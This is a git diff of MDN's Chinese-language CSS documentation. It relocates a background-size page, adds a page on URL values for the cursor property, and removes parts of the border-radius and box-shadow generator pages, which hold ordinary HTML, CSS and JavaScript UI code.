-		var borders1 = [null, null, null, null];
-		var borders2 = [0, 0, 0, 0];
-
-		var updateUIWidth = function updateUIWidth(value) {
-			var pwidth = subject.parentElement.clientWidth;
-			var left = (pwidth - value) / 2;
-			subject.style.width = value + "px";
-
-			for (var i = 0; i < 4; i++)
-				radius_containers[i].updateUnits(0);
-		}
-
-		var updateUIHeight = function updateUIHeight(value) {
-			var pheight = subject.parentElement.clientHeight;
-			var top = (pheight - value) / 2;
-			subject.style.height = value + "px";
-			subject.style.top = top - border_width + "px";
-
-			for (var i = 0; i < 4; i++)
-				radius_containers[i].updateUnits(1);
-		}
-
-		var updatePreviewUIWidth = function updatePreviewUIWidth() {
-			var p = subject.parentElement.clientWidth;
-			var v = preview_ui.clientWidth;
-			console.log(p, v, (p - v ) / 2);
-			preview_ui.style.left = (p - v) / 2 + "px" ;
-		}
-
-		var updatePreviewUIHeight = function updatePreviewUIHeight() {
-			var p = subject.parentElement.clientHeight;
-			var v = preview_ui.clientHeight;
-			console.log(p, v, (p - v ) / 2);
-			preview_ui.style.top = (p - v) / 2 + "px" ;
-		}
-
-		var updateOutput = function updateOutput(corner, radius) {
-			var values = radius.split(" ");
-
-			borders1[corner] = values[0];
-			borders2[corner] = values[0];
-
-			if (values.length === 2)
-				borders2[corner] = values[1];
-
-			var border_1_value = borders1.join(" ");
-			var border_2_value = borders2.join(" ");
-			var border_radius = 'border-radius: ' + border_1_value;
-
-			if (border_2_value !== border_1_value)
-				border_radius += ' / ' + border_2_value;
-
-			border_radius += ';';
-			output.textContent = border_radius;
-		}
-
-		var init = function init() {
-			preview = getElemById("preview");
-			subject = getElemById("subject");
-			output = getElemById("output");
-			preview_ui = getElemById("radius-ui-sliders");
-
-			var elem = document.querySelectorAll('.radius-container');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				radius_containers[i] = new RadiusContainer(elem[i]);
-
-			InputSliderManager.subscribe("width", updateUIWidth);
-			InputSliderManager.subscribe("height", updateUIHeight);
-
-			InputSliderManager.setValue("width", subject.clientWidth);
-			InputSliderManager.setValue("height", subject.clientHeight);
-		}
-
-		return {
-			init : init,
-			updateOutput : updateOutput
-		}
-
-	})();
-
-	/**
-	 * Init Tool
-	 */
-	var init = function init() {
-		ButtonManager.init();
-		InputSliderManager.init();
-		PreviewMouseTracking.init("preview");
-		Tool.init();
-	}
-
-	return {
-		init : init
-	}
-
-})();
-
-
-
-
- -

{{ EmbedLiveSample('border-radius-generator', '100%', '800px', '') }}

- -

 

diff --git a/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html b/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html new file mode 100644 index 0000000000..2873b2878c --- /dev/null +++ b/files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html @@ -0,0 +1,129 @@ +--- +title: Scaling background images +slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +--- +
{{cssref}}
+ +

CSS属性{{ cssxref("background-size") }} 可以用于调整背景图片的宽和高,因背景图片布局的默认行为是根据其原尺寸平铺,所以{{ cssxref("background-size") }}可修改其默认行为。你可以根据需要放大或缩小图片。

+ +

Tiling a large image

+ +

Let's consider a large image, a 2982x2808 Firefox logo image. We want (for some reason likely involving horrifyingly bad site design) to tile four copies of this image into a 300x300-pixel element. To do this, we can use a fixed background-size value of 150 pixels.

+ +

HTML

+ +
<div class="tiledBackground">
+</div>
+ +

CSS

+ +
.tiledBackground {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: 150px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  color: pink;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Tiling_a_large_image", 340, 340)}}

+ +

Stretching an image

+ +

You can also specify both the horizontal and vertical sizes of the image, like this:

+ +
background-size: 300px 150px;
+
+ +

The result looks like this:

+ +

+ +

Scaling an image up

+ +

On the other end of the spectrum, you can scale an image up in the background. Here we scale a 32x32 pixel favicon to 300x300 pixels:

+ +

+ +
.square2 {
+  background-image: url(favicon.png);
+  background-size: 300px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+}
+
+ +

As you can see, the CSS is actually essentially identical, save the name of the image file.

+ +

Special values: "contain" and "cover"

+ +

Besides {{cssxref("<length>")}} values, the {{ cssxref("background-size") }} CSS property offers two special size values, contain and cover. Let's take a look at these.

+ +

contain

+ +

The contain value specifies that, regardless of the size of the containing box, the background image should be scaled so that each side is as large as possible while not exceeding the length of the corresponding side of the container. Try resizing the example below to see this in action.

+ +

HTML

+ +
<div class="bgSizeContain">
+  <p>Try resizing this element!</p>
+</div>
+ +

CSS

+ +
.bgSizeContain {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: contain;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}
+ +

Result

+ +

{{ EmbedLiveSample('contain', 250, 250) }}

+ +

cover

+ +

The cover value specifies that the background image should be sized so that it is as small as possible while ensuring that both dimensions are greater than or equal to the corresponding size of the container. Try resizing the example below to see this in action.

+ +

HTML

+ +
<div class="bgSizeCover">
+  <p>Try resizing this element!</p>
+</div>
+ +

CSS

+ +
.bgSizeCover {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: cover;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}
+ +

Result

+ +

{{ EmbedLiveSample('cover', 250, 250) }}

+ +

See also

+ + diff --git a/files/zh-cn/web/css/css_backgrounds_and_borders/scaling_background_images/index.html b/files/zh-cn/web/css/css_backgrounds_and_borders/scaling_background_images/index.html deleted file mode 100644 index 2873b2878c..0000000000 --- a/files/zh-cn/web/css/css_backgrounds_and_borders/scaling_background_images/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Scaling background images -slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images ---- -
{{cssref}}
- -

CSS属性{{ cssxref("background-size") }} 可以用于调整背景图片的宽和高,因背景图片布局的默认行为是根据其原尺寸平铺,所以{{ cssxref("background-size") }}可修改其默认行为。你可以根据需要放大或缩小图片。

- -

Tiling a large image

- -

Let's consider a large image, a 2982x2808 Firefox logo image. We want (for some reason likely involving horrifyingly bad site design) to tile four copies of this image into a 300x300-pixel element. To do this, we can use a fixed background-size value of 150 pixels.

- -

HTML

- -
<div class="tiledBackground">
-</div>
- -

CSS

- -
.tiledBackground {
-  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
-  background-size: 150px;
-  width: 300px;
-  height: 300px;
-  border: 2px solid;
-  color: pink;
-}
-
- -

Result

- -

{{EmbedLiveSample("Tiling_a_large_image", 340, 340)}}

- -

Stretching an image

- -

You can also specify both the horizontal and vertical sizes of the image, like this:

- -
background-size: 300px 150px;
-
- -

The result looks like this:

- -

- -

Scaling an image up

- -

On the other end of the spectrum, you can scale an image up in the background. Here we scale a 32x32 pixel favicon to 300x300 pixels:

- -

- -
.square2 {
-  background-image: url(favicon.png);
-  background-size: 300px;
-  width: 300px;
-  height: 300px;
-  border: 2px solid;
-  text-shadow: white 0px 0px 2px;
-  font-size: 16px;
-}
-
- -

As you can see, the CSS is actually essentially identical, save the name of the image file.

- -

Special values: "contain" and "cover"

- -

Besides {{cssxref("<length>")}} values, the {{ cssxref("background-size") }} CSS property offers two special size values, contain and cover. Let's take a look at these.

- -

contain

- -

The contain value specifies that, regardless of the size of the containing box, the background image should be scaled so that each side is as large as possible while not exceeding the length of the corresponding side of the container. Try resizing the example below to see this in action.

- -

HTML

- -
<div class="bgSizeContain">
-  <p>Try resizing this element!</p>
-</div>
- -

CSS

- -
.bgSizeContain {
-  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
-  background-size: contain;
-  width: 160px;
-  height: 160px;
-  border: 2px solid;
-  color: pink;
-  resize: both;
-  overflow: scroll;
-}
- -

Result

- -

{{ EmbedLiveSample('contain', 250, 250) }}

- -

cover

- -

The cover value specifies that the background image should be sized so that it is as small as possible while ensuring that both dimensions are greater than or equal to the corresponding size of the container. Try resizing the example below to see this in action.

- -

HTML

- -
<div class="bgSizeCover">
-  <p>Try resizing this element!</p>
-</div>
- -

CSS

- -
.bgSizeCover {
-  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
-  background-size: cover;
-  width: 160px;
-  height: 160px;
-  border: 2px solid;
-  color: pink;
-  resize: both;
-  overflow: scroll;
-}
- -

Result

- -

{{ EmbedLiveSample('cover', 250, 250) }}

- -

See also

- - diff --git a/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html new file mode 100644 index 0000000000..fcde4cecb2 --- /dev/null +++ b/files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -0,0 +1,125 @@ +--- +title: Using URL values for the cursor property +slug: Web/CSS/cursor/url +tags: + - Cursor + - URL +translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +--- +

Gecko 1.8 (Firefox 1.5,SeaMonkey 1.0) 支持CSS的URL值 {{cssxref("cursor")}} 属性在Windows和Linux。Mac支持是在Gecko 2(Firefox 4)中添加的。这允许将任意图像指定为鼠标光标 - 可以使用Gecko支持的任何图像格式。

+ +

语法

+ +

此属性的基本(CSS 2.1)语法是:

+ +
cursor: [<url>,]* keyword;
+
+ +

这意味着可以指定零个或多个URL(逗号分隔),后面必须跟随CSS规范中定义的一个关键字,例如 auto或 pointer。

+ +

例如,将允许以下值:

+ +
cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
+
+ +

首先尝试加载 foo.cur。如果文件不存在或者其它无效原因,bar.gif被尝试加载,如果bar.gif不能被加载,那么使用auto

+ +

在Gecko 1.8beta3 (Deer Park Alpha 2)中加入了对CSS3 语法的指针属性的支持。

+ +
cursor:  [<uri> [<x> <y>]?,]* keyword
+ +

因此,它能在Firefox 1.5中工作。它允许定义指针的热点,加强对指针图橡的边界的控制。如果一个也没有设置,指针的热点会从文件本身读取(适合CUR和XBM文件类型)。否则,设置成图像的左上角。一个CSS3语法的例子:

+ +
.foo  {
+    cursor:  auto;
+    cursor:  url(cursor1.png) 4 12, auto;
+}
+
+.bar  {
+    cursor:  pointer;
+    cursor:  url(cursor2.png) 2 2, pointer;
+}
+
+/*
+fallsback onto 'auto' and 'pointer' in IE,
+but must be set separately
+*/
+ +

第一个数字是X坐标,第二个数字是Y坐标。该示例将热点设置为从左上角(0,0)到(4,12)处的像素。

+ +

局限性

+ +

可以使用任何被Gecko所支持的图像格式。这意味着你可以使用BMP,JPG,CUR,GIF等等。可是,ANI不被支持。还有即使你定义一个GIF动画,指针也不会变成GIF动画。这个局限性可能在以后的版本去掉。

+ +

Gecko它本身不能限制被替换的指针大小。无论如何,你应该自己限制图像的最大值在32x32,以便兼容各种平台的操作系统。尤其是大于这个尺寸的指针不能在Windows 9x (95,98,ME)下工作。

+ +

透明效果的指针在Windows XP以前都不被支持。这是操作系统的一个局限性。透明效果可以在所有平台下工作。

+ +

只 有Windows,OS/2和Linux(使用Gtk+ 2.4及更高版本)的Mozilla版本支持光标属性的URL参数。其它版本可能在以后的版本中加入支持(Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, Gtk 2.0/2.2: {{ Bug(308536) }})。

+ +

关于其它浏览器的兼容性

+ +

Microsoft Internet Explorer 6.0还支持cursor属性的URI值。然而:

+ +
    +
  • IE只支持CUR和ANI格式。
  • +
  • IE不支持带有x和y坐标的CSS 3语法。将忽略光标图像和属性的其余部分。
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BrowserLowest versionformats (e.g.)x-y-coordinates
Internet Explorer6.0.cur | .ani---
Firefox (Gecko), Windows and Linux1.5 (1.8).cur | .png | .gif | .jpg1.5 (1.8)
Firefox (Gecko)4.0 (2.0).cur | .png | .gif | .jpg | .svg(Gecko 2.0)
Opera---------
Safari (Webkit)3.0 (522-523).cur | .png | .gif | .jpg3.0 (522-523)
Since OS X 10.5 supports Safari (Mac) .curfiles
+ +

它也使用不严格的光标属性语法。例如像这样的参数:

+ +
cursor: url(foo.cur);
+
+ +

或者:

+ +
cursor: url(foo.cur), pointer, url(bar.cur), auto;
+
+ +

可以在MSIE上工作,但是不能在Gecko上面工作。因为Gecko的兼容性与CSS的规范一致,URIs表始终放置在前面,在最后放置正确的关键字。

+ +

 

diff --git a/files/zh-cn/web/css/css_box_model/box-shadow_generator/index.html b/files/zh-cn/web/css/css_box_model/box-shadow_generator/index.html deleted file mode 100644 index 3fb264bc40..0000000000 --- a/files/zh-cn/web/css/css_box_model/box-shadow_generator/index.html +++ /dev/null @@ -1,2880 +0,0 @@ ---- -title: Box-shadow generator -slug: Web/CSS/CSS_Box_Model/Box-shadow_generator -translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator ---- -

这个可视化工具可以帮助你生成一个元素的CSS{{cssxref("box-shadow")}}相关代码,添加box shadow效果到你的CSS对象上。

- -
-

box-shadow generator

- -

HTML Content

- -
<div id="container">
-    <div class="group section">
-        <div id="layer_manager">
-            <div class="group section">
-                <div class="button" data-type="add"> </div>
-                <div class="button" data-type="move-up"> </div>
-                <div class="button" data-type="move-down"> </div>
-            </div>
-            <div id="stack_container"></div>
-        </div>
-
-        <div id="preview_zone">
-            <div id="layer_menu" class="col span_12">
-                <div class="button" id="element" data-type="subject" data-title="element"> element </div>
-                <div class="button" id="before" data-type="subject" data-title=":before">
-                    :before
-                    <span class="delete" data-type="disable"></span>
-                </div>
-                <div class="button" id="after" data-type="subject" data-title=":after">
-                    :after
-                    <span class="delete" data-type="disable"></span>
-                </div>
-                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
-                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
-            </div>
-
-            <div id="preview">
-                <div id="obj-element">
-                    <div class="content"> </div>
-                    <div id="obj-before"> </div>
-                    <div id="obj-after"> </div>
-                </div>
-            </div>
-        </div>
-    </div>
-
-    <div id="controls" class="group section">
-        <div class="wrap-left">
-            <div class="colorpicker category">
-                <div class="title"> </div>
-                <div id="colorpicker" class="group">
-                    <div id="gradient" class="gradient">
-                        <div id="gradient_picker"> </div>
-                    </div>
-                    <div id="hue" data-topic="hue" class="hue">
-                        <div id="hue_selector"> </div>
-                    </div>
-                    <div class="info">
-                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
-                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
-                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
-                    </div>
-                    <div class="alpha">
-                        <div id="alpha" data-topic="alpha">
-                            <div id="alpha_selector"> </div>
-                        </div>
-                    </div>
-                    <div class="info">
-                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
-                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
-                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
-                    </div>
-                    <div class="preview block">
-                        <div id="output_color"> </div>
-                    </div>
-                    <div class="block info">
-                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
-                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
-                    </div>
-                </div>
-            </div>
-        </div>
-
-        <div class="wrap-right">
-
-            <div id="shadow_properties" class="category">
-                <div class="title"> Shadow properties </div>
-                <div class="group">
-                    <div class="group property">
-                        <div class="ui-slider-name"> inset </div>
-                        <div class="ui-checkbox" data-topic='inset'></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Position x </div>
-                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="posX"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Position y </div>
-                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="posY"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Blur </div>
-                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="blur"
-                            data-min="0" data-max="200" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Spread </div>
-                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="spread"
-                            data-min="-100"    data-max="100" data-step="1" data-value="50">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
-                    </div>
-                </div>
-            </div>
-
-            <div id="element_properties" class="category">
-                <div class="title"> Class element properties </div>
-                <div class="group">
-                    <div class="group property">
-                        <div class="ui-slider-name"> border </div>
-                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
-                    </div>
-                    <div id="z-index" class="slidergroup">
-                        <div class="ui-slider-name"> z-index </div>
-                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="z-index"
-                            data-min="-10" data-max="10" data-step="1"></div>
-                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="z-index"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> top </div>
-                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="top"
-                            data-min="-500" data-max="500" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> left </div>
-                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="left"
-                            data-min="-300" data-max="700" data-step="1"> </div>
-                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
-                    </div>
-                    <div id="transform_rotate" class="slidergroup">
-                        <div class="ui-slider-name"> Rotate </div>
-                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="rotate"
-                            data-min="-360" data-max="360" data-step="1" data-value="0">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Width </div>
-                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="width"
-                            data-min="0" data-max="1000" data-step="1" data-value="200">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
-                    </div>
-                    <div class="slidergroup">
-                        <div class="ui-slider-name"> Height </div>
-                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
-                        <div class="ui-slider" data-topic="height"
-                            data-min="0" data-max="400" data-step="1" data-value="200">
-                        </div>
-                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
-                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
-                    </div>
-                </div>
-            </div>
-
-            <div id="output" class="category">
-                <div id="menu" class="menu"></div>
-                <div class="title">    CSS Code </div>
-                <div class="group" style="border-top-left-radius: 0;">
-                    <div class="output" data-topic="element" data-name="element"
-                        data-prop="width height background-color position=[relative] box-shadow">
-                    </div>
-                    <div class="output" data-topic="before" data-name="element:before"
-                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
-                    </div>
-                    <div class="output" data-topic="after" data-name="element:after"
-                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
-                    </div>
-                </div>
-            </div>
-        </div>
-    </div>
-</div>
-
- -

CSS Content

- -
/*  GRID OF TWELVE
- * ========================================================================== */
-
-.span_12 {
-	width: 100%;
-}
-
-.span_11 {
-	width: 91.46%;
-}
-
-.span_10 {
-	width: 83%;
-}
-
-.span_9 {
-	width: 74.54%;
-}
-
-.span_8 {
-	width: 66.08%;
-}
-
-.span_7 {
-	width: 57.62%;
-}
-
-.span_6 {
-	width: 49.16%;
-}
-
-.span_5 {
-	width: 40.7%;
-}
-
-.span_4 {
-	width: 32.24%;
-}
-
-.span_3 {
-	width: 23.78%;
-}
-
-.span_2 {
-	width: 15.32%;
-}
-
-.span_1 {
-	width: 6.86%;
-}
-
-
-/*  SECTIONS
- * ========================================================================== */
-
-.section {
-	clear: both;
-	padding: 0px;
-	margin: 0px;
-}
-
-/*  GROUPING
- * ========================================================================== */
-
-
-.group:before, .group:after {
-    content: "";
-    display: table;
-}
-
-.group:after {
-    clear:both;
-}
-
-.group {
-    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
-}
-
-/*  GRID COLUMN SETUP
- * ========================================================================== */
-
-.col {
-	display: block;
-	float:left;
-	margin: 1% 0 1% 1.6%;
-}
-
-.col:first-child {
-	margin-left: 0;
-} /* all browsers except IE6 and lower */
-
-/*
- * UI Slider
- */
-
-.slidergroup {
-	height: 20px;
-	margin: 10px 0;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.slidergroup * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Slider */
-
-.ui-slider {
-	height: 10px;
-	width: 200px;
-	margin: 4px 10px;
-	display: block;
-	border: 1px solid #999;
-	border-radius: 3px;
-	background: #EEE;
-}
-
-.ui-slider:hover {
-	cursor: pointer;
-}
-
-.ui-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-slider-pointer {
-	width: 13px;
-	height: 13px;
-	background-color: #EEE;
-	border: 1px solid #2C9FC9;
-	border-radius: 3px;
-	position: relative;
-	top: -3px;
-	left: 0%;
-}
-
-.ui-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 3px;
-	color: #FFF;
-	font-weight: bold;
-	text-align: center;
-}
-
-.ui-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-.ui-slider-input > input {
-	margin: 0 10px;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/*
- * UI Button
- */
-
-/* Checkbox */
-
-.ui-checkbox {
-	text-align: center;
-	font-size: 16px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	line-height: 1.5em;
-	color: #FFF;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-checkbox > input {
- 	display: none;
-}
-
-.ui-checkbox > label {
-	font-size: 12px;
-	padding: 0.333em 1.666em 0.5em;
-	height: 1em;
-	line-height: 1em;
-
-	background-color: #888;
-	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	color: #FFF;
-	border-radius: 3px;
-	font-weight: bold;
-	float: left;
-}
-
-.ui-checkbox .text {
-	padding-left: 34px;
-	background-position: center left 10px;
-}
-
-.ui-checkbox .left {
-	padding-right: 34px;
-	padding-left: 1.666em;
-	background-position: center right 10px;
-}
-
-.ui-checkbox > label:hover {
-	cursor: pointer;
-}
-
-.ui-checkbox > input:checked + label {
-	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
-	background-color: #379B4A;
-}
-
-/*
- * BOX SHADOW GENERATOR TOOL
- */
-
-body {
-	max-width: 1000px;
-	height: 800px;
-	margin: 20px auto 0;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-}
-
-#container {
-	width: 100%;
-	padding: 2px;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/* container with shadows stacks */
-#stack_container {
-	height: 400px;
-	overflow: hidden;
-	position: relative;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#stack_container .container {
-	height: 100%;
-	width: 100%;
-	position: absolute;
-	left: 100%;
-	transition-property: left;
-	transition-duration: 0.5s;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-#stack_container .title {
-	text-align: center;
-	font-weight: bold;
-	line-height: 2em;
-	border-bottom: 1px solid #43A6E1;
-	color: #666;
-}
-
-
-/*
- * Stack of Layers for shadow
- */
-
-#layer_manager {
-	width: 17%;
-	background-color: #FEFEFE;
-	margin: 0 1% 0 0;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	float: left;
-}
-
-
-#layer_manager .button {
-	width: 30%;
-	height: 25px;
-	margin:0 0 10px;
-	color: #333;
-	background-color: #EEE;
-	text-align: center;
-	font-size: 0.75em;
-	line-height: 1.5em;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-
-	display: block;
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	float: left;
-}
-
-#layer_manager .button:hover {
-	background-color: #3380C4;
-	border: 1px solid #3380C4;
-	cursor: pointer;
-}
-
-#layer_manager [data-type='add'] {
-	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
-}
-
-#layer_manager [data-type='add']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
-}
-
-#layer_manager [data-type='move-up'] {
-	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
-	margin-left: 5%;
-	margin-right: 5%;
-}
-
-#layer_manager [data-type='move-up']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
-}
-
-#layer_manager [data-type='move-down'] {
-	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
-}
-
-#layer_manager [data-type='move-down']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
-}
-
-/* shadows classes */
-
-#layer_manager .node {
-	width: 100%;
-	margin: 5px 0;
-	padding: 5px;
-	text-align: center;
-	background-color: #EEE;
-	border: 1px solid #DDD;
-	font-size: 0.75em;
-	line-height: 1.5em;
-	color: #333;
-	border-radius: 3px;
-
-	position: relative;
-	display: block;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_manager .node:hover {
-	color: #FFF;
-	background-color: #3380C4;
-	cursor: pointer;
-}
-
-/* active element styling */
-
-#layer_manager [data-active='layer'] {
-	color: #FFF;
-	border: none;
-	background-color: #379B4A;
-}
-
-#layer_manager [data-active='subject'] {
-	color: #FFF;
-	background-color: #467FC9;
-}
-
-/* delete button */
-
-#layer_manager .delete {
-	width: 1.5em;
-	height: 100%;
-	float: right;
-	border-radius: 3px;
-	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	position: absolute;
-	top: 0;
-	right: 10px;
-	display: none;
-}
-
-#layer_manager .delete:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
-}
-
-#layer_manager .node:hover .delete {
-	display: block;
-}
-
-
-#layer_manager .stack {
-	padding: 0 5px;
-	max-height: 90%;
-	overflow: auto;
-	overflow-x: hidden;
-}
-
-
-/*
- * Layer Menu
- */
-
-#layer_menu {
-	margin: 0 0 10px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_menu .button {
-	width: 100px;
-	margin: 0 5px 0 0;
-	padding: 2.5px;
-	color: #333;
-	background-color: #EEE;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-	font-size: 0.75em;
-	line-height: 1.5em;
-
-	position: relative;
-	display: block;
-	float: left;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_menu .button:hover {
-	color: #FFF;
-	background-color: #3380C4;
-	border: 1px solid #3380C4;
-	cursor: pointer;
-}
-
-#layer_menu .delete {
-	width: 1.5em;
-	height: 100%;
-	float: right;
-	border-radius: 3px;
